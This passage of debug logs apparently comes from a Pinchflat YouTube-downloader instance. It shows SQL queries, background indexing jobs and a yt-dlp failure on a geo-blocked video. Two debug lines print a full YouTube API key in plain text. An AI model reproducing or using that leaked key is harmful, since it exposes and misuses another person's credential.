m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", "F5ShDcJl4qQ", "0zTOd9trqEo", "dsDy5VAw-xo", "lSwkoIQLFLo", "EJFAw1VRcsA", "3Qyaocw0u3o", "5UAM-ZKBcZs", "uGI0tkmyogU", "16AbSxpRFJo", "TUkra-5kybs", "8Xdl5psYVgQ", "eRWobpethq4", "PHjkSKQSzv4", "DJuloZc4QJw", "CpIHZSRBrgA", "Fd-SP-yoDbU", "VsuuYPwgbg0", "GYVUFfQ3OTk", "QcQqT4yMvro", "hsoiHKaqG2s", "BulZkf97cEQ", "Lf62N-s42_o", "v4KHDMvFQgg", "BPOglXCH0F8", ...] 16:26:37.068 [debug] QUERY OK source="media_items" db=0.3ms idle=107.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 16:26:37.069 [debug] QUERY OK source="tasks" db=0.1ms idle=107.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799968, 43, ~U[2026-02-10 22:26:37Z], ~U[2026-02-10 22:26:37Z]] 16:26:37.069 [info] {"args":{"id":43},"id":3799930,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":108668,"event":"job:stop","queue_time":509090,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:37.950 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c5/79/c579b0f1dd73e19076b4c19c41e8acbadb77d3590c86159b9a622fd9df908e44.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:26:37.950 [error] Error creating media item 'NtHZ7IR88dg' from URL: {:error, "ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:26:37.952 [debug] QUERY OK source="media_items" db=1.6ms idle=881.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 16:26:37.952 [debug] QUERY OK source="tasks" db=0.1ms idle=883.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799969, 6, ~U[2026-02-10 22:26:37Z], ~U[2026-02-10 22:26:37Z]] 16:26:37.953 [info] {"args":{"id":6},"id":3799922,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":9001516,"event":"job:stop","queue_time":241672,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:38.963 [info] {"args":{"id":7},"id":3799931,"meta":{},"system_time":1770762398963735426,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:38.964 [info] {"args":{"id":25},"id":3799932,"meta":{},"system_time":1770762398963779298,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:38.964 [debug] QUERY OK source="sources" db=0.1ms idle=1010.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 16:26:38.964 [debug] QUERY OK source="sources" db=0.1ms idle=1008.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 16:26:38.964 [debug] QUERY OK source="settings" db=0.1ms idle=1004.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:38.964 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:38.964 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:26:38.964 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:26:38.964 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:38.964 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 16:26:38.964 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:38.964 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 16:26:38.965 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:38.965 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:26:38.965 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:38.965 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:26:39.088 [debug] QUERY OK source="media_items" db=0.6ms idle=122.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "Eq5PgdJmdOM", "UqsOOWYeAFc", "TPAj27g13Wg", "wrw-wgTVZvQ", "Afvl-iK85M4", "SZnw2gIhVlY", "aEYo2ImWVFQ", "iNtvFeR8nzE", "QzjxzaLmU68", "pHUmHk5ET0U", "9o-iezh5_cU", "NRRBKgV2nD4", "rFXunG2KAK4", "EeqhS_RCy0s", "vZeFT3hIyrI", "-peLrtm4Ta0", "RP0BOsCJLdY", "bOG_tawYloM", "rPQIbzbyWJM", "YXo4iJPfaYs", "tMjVg1ptQK0", "2r4aEvZdmDY", "Q1lZ8G1Jwd0", "DXveCg1SAvE", "ANdlfk9gxsE", "8VhD6efjAIQ", "3-SimVbHpUU", "PrXqo77aG38", "8_f_rJSxyug", "9dN7cSe5eaM", "mllcH8uTTk4", "UqkNC4DM0cY", "CmB681YpI74", "NzaT1laS9tU", "gPxhaxHyTq8", "Z0HLafo7bRU", "LvP4SNwbMtc", "Vmj54KWL47Q", "bzQ9b-kTrMQ", "893LjMkWwIk", "KAGgNIT4Fk0", "1r7gV4X760g", "4qKuUJaa5ow", "w-uDVkNJ_q8", "QYegK6M_1lY", "wMBNx2LFmo4", "TJ4KLo7rKqQ", "Bv-2HGhSRUA", "1w3y6oZb_fM", ...] 16:26:39.089 [debug] QUERY OK source="media_items" db=1.0ms idle=123.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 16:26:39.090 [debug] QUERY OK source="tasks" db=0.1ms idle=125.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799970, 25, ~U[2026-02-10 22:26:39Z], ~U[2026-02-10 22:26:39Z]] 16:26:39.090 [info] {"args":{"id":25},"id":3799932,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":126900,"event":"job:stop","queue_time":531449,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:39.205 [debug] QUERY OK source="media_items" db=0.9ms idle=114.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "Timi82idESg", "fEJ4dy4lReA", "s5z_Ty3eVYE", "2sl0V9Fe2Pg", "9dykjTghTYM", "Shh5SmBMsks", "7WG4CaXHoiQ", "iKbj6MLUTVY", "mj7cz2CTZbE", "ZdpXMQ13CJM", "PU9cFXq5J1M", "chrlcy65iu8", "JUteqHSK7U4", "Ne8wAZCWglM", "Zzt5hBwNmxk", "MEAuxbGxE2s", "QoG-h79s3l0", "es-VrNDoY3o", "I08GK2s64Cc", "a83Gzo3VqDg", "6GtsjMGfKqw", "Q5nFwHcboTs", "6EVvs4aXyls", "bPBpOKgRKoU", "eux9YPqsBA4", "QUjvV9_Si5Q", "f8Zd6gRRG8M", "rbBdUnrSz90", "W5XHEcaFh7I", "ZoDilNrf0Kg", "rr4WSzeXasM", "bfC2P-y-nwo", "htmZN6Vv8Vs", "U_525SiZGLw", "oFuHVZ7qivY", "p3HRzI9fEzE", "FohFxYiRqfY", "QVKuCnsg9Gc", "aSn6Raw8BCo", "YferyIBhJHY", "PZAxqCEa1jQ", "ZjYj2Tksj2w", "z8Mb3I5kVlE", "jgwaCJEiwkA", "TysH7kciS6w", "BHvPmO4A248", "hjIVJGBTRD4", "U2bcCZFxHxo", "QerbfRokjRM", ...] 16:26:39.208 [debug] QUERY OK source="media_items" db=2.4ms idle=115.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 16:26:39.209 [debug] QUERY OK source="tasks" db=0.1ms idle=113.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799971, 7, ~U[2026-02-10 22:26:39Z], ~U[2026-02-10 22:26:39Z]] 16:26:39.209 [info] {"args":{"id":7},"id":3799931,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":246038,"event":"job:stop","queue_time":540612,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:39.964 [info] {"args":{"id":20},"id":3799933,"meta":{},"system_time":1770762399964675937,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:39.964 [debug] QUERY OK source="sources" db=0.1ms idle=755.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 16:26:39.965 [debug] QUERY OK source="settings" db=0.0ms idle=755.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:39.965 [debug] QUERY OK source="media_profiles" db=0.1ms idle=749.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:26:39.965 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:39.965 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 16:26:39.965 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", 